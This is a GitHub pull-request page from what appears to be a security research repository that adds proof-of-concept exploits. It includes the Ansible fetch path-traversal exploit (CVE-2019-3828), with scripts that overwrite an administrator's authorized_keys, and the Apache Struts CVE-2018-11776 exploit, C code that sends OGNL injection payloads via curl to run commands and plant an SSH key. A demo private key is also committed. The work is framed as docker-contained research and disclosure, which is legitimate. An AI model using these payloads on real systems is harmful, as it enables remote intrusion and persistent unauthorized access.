Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
61 commits
Select commit Hold shift + click to select a range
e24a72f
Add README file.
kevinbackhouse May 30, 2018
b9af6d3
Exploit PoC for CVE-2017-13782 (DTrace).
kevinbackhouse May 30, 2018
8de9dde
Merge pull request #1 from kev/Apple_dtrace
m-y-mo May 30, 2018
b03bd56
Exploit PoC for librelp/rsyslog CVE-2018-1000140.
kevinbackhouse Jun 8, 2018
61d4d30
Merge pull request #2 from kev/rsyslog_snprintf
m-y-mo Jun 8, 2018
109bb35
Add Apache License 2.0 and copyright notice.
kevinbackhouse Jun 13, 2018
728fe17
Merge pull request #3 from kev/License
Jun 13, 2018
ac43b45
Add note about the sudo password.
kevinbackhouse Jun 14, 2018
abedc4d
Exploit PoC for Apple XNU packet-mangler (CVE-2017-13904, CVE-2018-42…
kevinbackhouse Jun 14, 2018
680ea18
No need to duplicate the instructions from the blog.
kevinbackhouse Jun 14, 2018
a93b1f7
Merge pull request #4 from kev/rsyslog_snprintf
Jun 14, 2018
77d338a
Merge pull request #5 from kev/Apple_XNU_packet_mangler_CVE-2017-13904
Jun 14, 2018
bb55317
Proof-of-concept exploit for CVE-2017-0141.
kevinbackhouse Jul 5, 2018
4b6a3b8
Merge pull request #6 from kev/ChakraCore_CVE-2017-0141
m-y-mo Jul 5, 2018
2469250
Exploit PoC for Apache Struts (CVE-2018-11776).
kevinbackhouse Sep 19, 2018
b19f4f9
Fix typo in IP address.
kevinbackhouse Sep 25, 2018
26cf2fb
Proof-of-concept exploit for CVE-2018-5388.
kevinbackhouse Sep 27, 2018
0d7ff9f
Change the setup so that the attacker user doesn't have sudo privileges.
kevinbackhouse Sep 27, 2018
0e1683b
Merge pull request #9 from kev/strongSwan_CVE-2018-5388
m-y-mo Oct 2, 2018
25cf1b9
Update PoC for Mojave
kevinbackhouse Oct 9, 2018
20e2d3d
Add instructions for popping a calculator.
kevinbackhouse Oct 17, 2018
bae3846
Update security team name.
kevinbackhouse Oct 28, 2018
e227e21
Merge pull request #14 from kev/TeamName
sj Oct 28, 2018
f50cb65
Exploit PoC for buffer overflow vulnerability in Mac OS NFS client (C…
kevinbackhouse Oct 28, 2018
20174b2
Exploit PoC for buffer overflow in icmp_error (CVE-2018-4407).
kevinbackhouse Oct 28, 2018
b96b1cb
Update README.
kevinbackhouse Oct 29, 2018
4059532
mention that it was found by Kev
sj Oct 30, 2018
c42c0a7
Merge pull request #1 from sjvs/master
s0 Oct 30, 2018
152a870
Enable popping a calculator from inside docker.
kevinbackhouse Nov 20, 2018
fe5d5e3
Merge pull request #8 from kev/Struts_CVE-2018-11776
Nov 20, 2018
ba2ce88
Merge remote-tracking branch 'semmle/master' into HEAD
s0 Nov 20, 2018
72d98a1
Update README. It is no longer true that we cannot pop a calculator f…
kevinbackhouse Nov 21, 2018
9890c51
Fix backticks.
kevinbackhouse Nov 21, 2018
0e6f0b8
Merge pull request #16 from kev/Apple_XNU_nfs_vfsops_CVE-2018-4259
Nov 23, 2018
b2233d3
Merge pull request #15 from kev/Apple_XNU_icmp_error
Nov 23, 2018
394cabf
CVE-2018-4407 PoC docs: Advice to use linux capabilities instead of …
altmas5 Nov 25, 2018
e04254a
Merge pull request #3 from RULCSoft/master
sj Nov 26, 2018
56c28b2
Exploit PoC for command injection vulnerability in CImg.
kevinbackhouse Dec 6, 2018
363fc68
Add PoC for CVE-2018-4460.
kevinbackhouse Dec 12, 2018
39c57ae
Add link to commit that fixed the vulnerability.
kevinbackhouse Dec 12, 2018
aa62c2b
Merge pull request #17 from kev/CImg
Jan 16, 2019
7a1c227
Merge pull request #18 from kev/Apple_XNU_packet_mangler_v2
Jan 16, 2019
830f51c
Merge remote-tracking branch 'github/master'
s0 Jan 16, 2019
b443c70
Exploit PoC for SPARQL injection in VIVO.
kevinbackhouse Jan 28, 2019
6fa2d46
CVE-2019-6986
kevinbackhouse Feb 4, 2019
c408848
Merge pull request #2 from kevinbackhouse/StrutsREADME
s0 Feb 4, 2019
2431308
Merge pull request #4 from kevinbackhouse/Vitro
s0 Feb 4, 2019
fe68678
Make LICENSE, COPYRIGHT, CONTRIBUTING.md, and CODE_OF_CONDUCT.md cons…
kevinbackhouse Feb 6, 2019
30912a6
Merge pull request #6 from kevinbackhouse/LICENSE
sj Feb 14, 2019
88adec0
Exploit PoC for path traversal vulnerability in Ansible (CVE-2019-3828).
kevinbackhouse Feb 22, 2019
e41bb3a
Merge pull request #8 from kevinbackhouse/Ansible_CVE-2019-3828
sj Mar 15, 2019
b7ff6b2
Add PoC for CVE-2019-3560 (Facebook Fizz).
kevinbackhouse Apr 4, 2019
536decb
Merge pull request #9 from kevinbackhouse/FacebookFizzDOS
s0 Apr 4, 2019
7984853
Exploit PoC for out-of-bounds read in libssh2 version 1.8.2.
kevinbackhouse Jun 28, 2019
c8dca9d
This vulnerability has now been assigned CVE-2019-13115.
kevinbackhouse Jul 1, 2019
4460484
Merge pull request #10 from kevinbackhouse/libssh2
s0 Jul 2, 2019
f82de0c
Exploit PoC for Ubuntu Apport CVE-2019-7307.
kevinbackhouse Aug 16, 2019
06942d6
Merge pull request #11 from kevinbackhouse/Apport_TOCTOU_get_ignore_d…
s0 Aug 16, 2019
95c0bcc
Move files into sub-directory
kevinbackhouse Nov 15, 2019
c2d4357
Merge branch 'master' into SecurityExploits
kevinbackhouse Nov 15, 2019
8b279e2
Merge branch 'master' into SecurityExploits
Nov 15, 2019
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
.DS_Store
*~
/.metadata/
99 changes: 99 additions & 0 deletions SecurityExploits/Ansible/fetch_CVE-2019-3828/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
# Path traversal vulnerability in Ansible fetch module (CVE-2019-3828)

This directory contains a proof-of-concept exploit for [CVE-2019-3828](https://access.redhat.com/security/cve/cve-2019-3828), a path-traversal vulnerability in Ansible's [fetch module](https://docs.ansible.com/ansible/latest/modules/fetch_module.html). The scenario for the demo is that there are two computers, named "server" and "zeuss". The former is a member of a server farm managed using Ansible. The latter machine belongs to a systems adminstrator who is responsible for managing the server farm. The system administrator's username is "bofh". Now imagine that an attacker has managed to infiltrate one of the server machines and is able to run arbitrary commands as the "bofh" user. But the attacker does not know bofh's password, so is not able to access other user accounts, or other computers, such as zeuss.

Ansible's fetch module is used to copy files from the servers back to the system adminstrator's computer. In this demo, the system administrator is going to download `.ssh/authorized_keys` from the server to check that it hasn't been tampered with. But the attacker is going to exploit a path traversal vulnerability in the fetch module and overwrite the system administrator's own `.ssh/authorized_keys`.

The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.16.0.0/16 ansible-demo-network
```

## Server setup

Build the docker image:

```
docker build ./server -t ansible-server
```

Start the container:

```
docker run --rm --network ansible-demo-network --ip=172.16.0.10 -h server -i -t ansible-server
```

Inside the container, start `sshd` to enable remote access from zeuss.

```
tmux # this step is optional: it enables you to open multiple terminals inside docker
sudo service ssh start # sudo password is "x" (this is the only time that sudo is used)
```

## Zeuss setup

In a new terminal, build the docker image for zeuss.

```
docker build ./zeuss -t ansible-zeuss
```

Start the container:

```
docker run --rm --network ansible-demo-network --ip=172.16.0.11 -h zeuss -i -t ansible-zeuss
```

Inside the container:

```
source ./ansible/hacking/env-setup # Add Ansible to the path
tmux # this step is optional: it enables you to open multiple terminals inside docker
sudo service ssh start # sudo password is "x"
```

## Running the exploit

First, let us see how the fetch module is *supposed* to work. On zeuss, run the following commands:

```
cd /home/bofh/config
ansible-playbook myfetch.yml
```

This copies `authorized_keys` from the server to the following locatino on `zeuss`:

```
/home/bofh/config/fetched/172.16.0.10/home/bofh/.ssh/authorized_keys
```

Note that the file has been placed safely in a subdirectory of the current directory.

Now let's enable the exploit on the server. Run the following commands on the server:

```
ssh-keygen -t ed25519 -f /home/bofh/.ssh/id_ed25519 # Create a new ssh key
cat /home/bofh/.ssh/id_ed25519.pub >> /home/bofh/.ssh/authorized_keys # Add new key to authorized_keys
cd /home/bofh/scripts
./enable_exploit.sh
```

Now go back to zeuss and run the same fetch playbook as before:

```
cd /home/bofh/config
ansible-playbook myfetch.yml
```

The `authorized_keys` file has now been overwritten. Which means that the attacker can ssh into zeuss. Run this command on the server:

```
ssh 172.16.0.11
```

The attacker has a shell on zeuss!
20 changes: 20 additions & 0 deletions SecurityExploits/Ansible/fetch_CVE-2019-3828/server/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
ansible git curl zip unzip psmisc \
tmux sudo emacs openssh-server net-tools \
gcc

# Create a user account named "bofh" (which will have sudo privileges).
RUN adduser bofh --disabled-password

# Grant the 'bofh' user sudo access (only so that we can start sshd).
RUN adduser bofh sudo
RUN echo "bofh:x" | chpasswd
COPY home/ /home/bofh/
RUN chown -R bofh:bofh /home/bofh

# Switch over to the 'bofh' user, since root access is no longer required
USER bofh
WORKDIR /home/bofh
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
cd /home/bofh/k/e/v/w/o/z/e/r/e
export HOME=../../../../../../../../../home/bofh
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#!/bin/bash
mkdir -p /home/bofh/k/e/v/w/o/z/e/r/e
mkdir -p /home/bofh/home
ln -s /home/bofh/ /home/bofh/home/bofh
cd /home/bofh/scripts
cp /home/bofh/scripts/bashrc /home/bofh/.bashrc
26 changes: 26 additions & 0 deletions SecurityExploits/Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
git curl zip unzip psmisc \
tmux sudo emacs openssh-server net-tools x11-apps \
build-essential libssl-dev libffi-dev python-dev \
python-setuptools python-jinja2 python-yaml

# Create a non-root user account to run Ansible.
RUN adduser bofh --disabled-password

# Grant the 'bofh' user sudo access, so that we can start sshd.
RUN adduser bofh sudo
RUN echo "bofh:x" | chpasswd
COPY home/ /home/bofh/
RUN chown -R bofh:bofh /home/bofh

# Switch over to the 'bofh' user, since root access is no longer required
USER bofh
WORKDIR /home/bofh

# Get vulnerable version of Ansible source code.
RUN git clone https://github.com/ansible/ansible.git && \
cd ansible && \
git checkout f9f7b29a5a5543e8d1c25e8cc1f2d3040d8536b7
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEwAAAJDuQrmQ7kK5
kAAAAAtzc2gtZWQyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEw
AAAEATobJL9MLSQNtHem7bzn8zp7dLWqdqP5VQo3Ma61L9+eMlKzkE3eZi8hNuNzp03Jz9
5dBu6621V8HstIJJgisTAAAACmJvZmhAemV1c3MBAgM=
-----END OPENSSH PRIVATE KEY-----
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[defaults]
inventory = inventory.d
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[servers]
172.16.0.10
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---
- hosts: servers
tasks:
- name: Fetch authorized_keys
fetch:
src: ~/.ssh/authorized_keys
dest: fetched
73 changes: 73 additions & 0 deletions SecurityExploits/Apache/Struts/CVE-2018-11776/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
# Remote code execution in Apache Struts (CVE-2018-11776)

This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [Apache Struts](https://struts.apache.org/). The vulnerability was fixed in versions 2.3.35 and 2.5.17.

To demonstrate the PoC in a safe environment, we will use two docker containers connected by a docker network bridge to simulate two separate computers: the first is the Struts server and the second is the attacker's computer. The Struts server uses Struts version 2.5.16, which contains the vulnerability.

We have tried to make the `Dockerfile`'s for the server and attacker as simple as possible, to make it clear that we have used vanilla [Ubuntu 18.04](http://releases.ubuntu.com/18.04/) with no unusual packages installed.

We have created two versions of the PoC. The first version enables the attacker to get a shell on the server. The PoC is a little simplistic because it assumes that the server has its ssh port 22 exposed to the public internet. A more realistic attack would probably involve getting the server to connect out to a webserver controlled by the attacker. It would be straightforward to modify the PoC to do that. The second version of the PoC pops a calculator.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.16.0.0/16 struts-demo-network
```

## Struts server setup

Build the docker image:

```
cd struts-server
docker build . -t struts-server --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server
```

Note: the `--publish`, `-e`, and `-v` command line arguments are optional. The `--publish` argument exposes port 8080 so that we can open the Struts showcase app in a web-browser. The `-e` and `-v` arguments enable the container to access X11, which is necessary for popping a calculator.

Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access.

```
./apache-tomcat-9.0.12/bin/catalina.sh start
sudo service ssh start # sudo password is "x"
```

At this point, you can check that Struts is running by visiting [http://127.0.0.1:8080/struts2-showcase](http://127.0.0.1:8080/struts2-showcase) in your browser. (We exposed port 8080 on the docker container.)

## Attacker setup

Build the docker image:

```
cd struts-attacker
docker build . -t struts-attacker
```

Start the container:

```
docker run --rm --network struts-demo-network --ip=172.16.0.11 -h struts-attacker -i -t struts-attacker
```

Inside the container, use `copykey` to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login.

```
./src/copykey http://172.16.0.10:8080/struts2-showcase
ssh victim@172.16.0.10
```

We have a shell!

Alternatively, you can start a calculator like this:

```
./src/startcalc http://172.16.0.10:8080/struts2-showcase
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y curl tmux emacs net-tools gcc ssh build-essential

# Create user account for the attacker.
RUN adduser attacker --disabled-password

# Copy the exploit PoC into the attacker's home directory.
COPY src /home/attacker/src
RUN chown -R attacker:attacker /home/attacker/src

# Switch over to the 'attacker' user, since root access is no longer required
USER attacker
WORKDIR /home/attacker
RUN cd src && make

# Create an ssh key for the attacker.
RUN ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -q -P ""
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
all: copykey startcalc

clean:
rm -f *.o copykey startcalc

copykey: copykey.o utils.o
gcc -Wall copykey.o utils.o -o copykey

startcalc: startcalc.o utils.o
gcc -Wall startcalc.o utils.o -o startcalc

copykey.o: copykey.c utils.h
gcc -c copykey.c

startcalc.o: startcalc.c utils.h
gcc -c startcalc.c

utils.o: utils.c utils.h
gcc -c utils.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include "utils.h"

int main(int argc, char* argv[]) {
if (argc < 2) {
printf("usage example: http://172.16.0.10:8080/struts2-showcase\n");
return 1;
}

const char* url = argv[1];

// Scratch buffers for building the curl command line.
char scratch1[2048];
char scratch2[2048];
char scratch3[2048];
char cmd[4096];

// First OGNL payload, which we need to urlencode and send to the Struts
// server with curl.
const char* url1 =
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl."
"OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))."
"(#ognlUtil.setExcludedPackageNames(''))}";

// urlencode the first payload and send it to the Struts server.
urlencode(scratch1, sizeof(scratch1), url1);
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1);
system(cmd);

// Second OGNL payload. We need to paste our ssh key into the middle of
// this string and urlencode it.
const char* url2A =
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context."
"setMemberAccess(#dm)).(#sl=@java.io.File@separator)."
"(#p=new java.lang.ProcessBuilder({'bash','-c','echo -n \"";
const char* url2B =
"\">>\"$HOME\"/.ssh/authorized_keys'})).(#p.start())}";

// Load our ssh key.
const int fd = open(".ssh/id_ed25519.pub", O_RDONLY);
if (fd < 0) {
printf("Could not open id_ed25519.pub\n");
return 1;
}
const int r = read(fd, scratch1, sizeof(scratch1));
if (r < 0) {
printf("Could not read id_ed25519.pub\n");
return 1;
}
scratch1[r] = '\0';

// Escape any slash characters in the ssh key, to stop Tomcat from
// intercepting them.
escape_forward_slash(scratch2, sizeof(scratch2), scratch1);

// Escape the slash characters in url2B.
escape_forward_slash(scratch3, sizeof(scratch3), url2B);

// urlencode the second payload and send it to the Struts server.
snprintf(scratch1, sizeof(scratch1), "%s%s%s", url2A, scratch2, scratch3);
urlencode(scratch2, sizeof(scratch2), scratch1);
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
system(cmd);

return 0;
}
Loading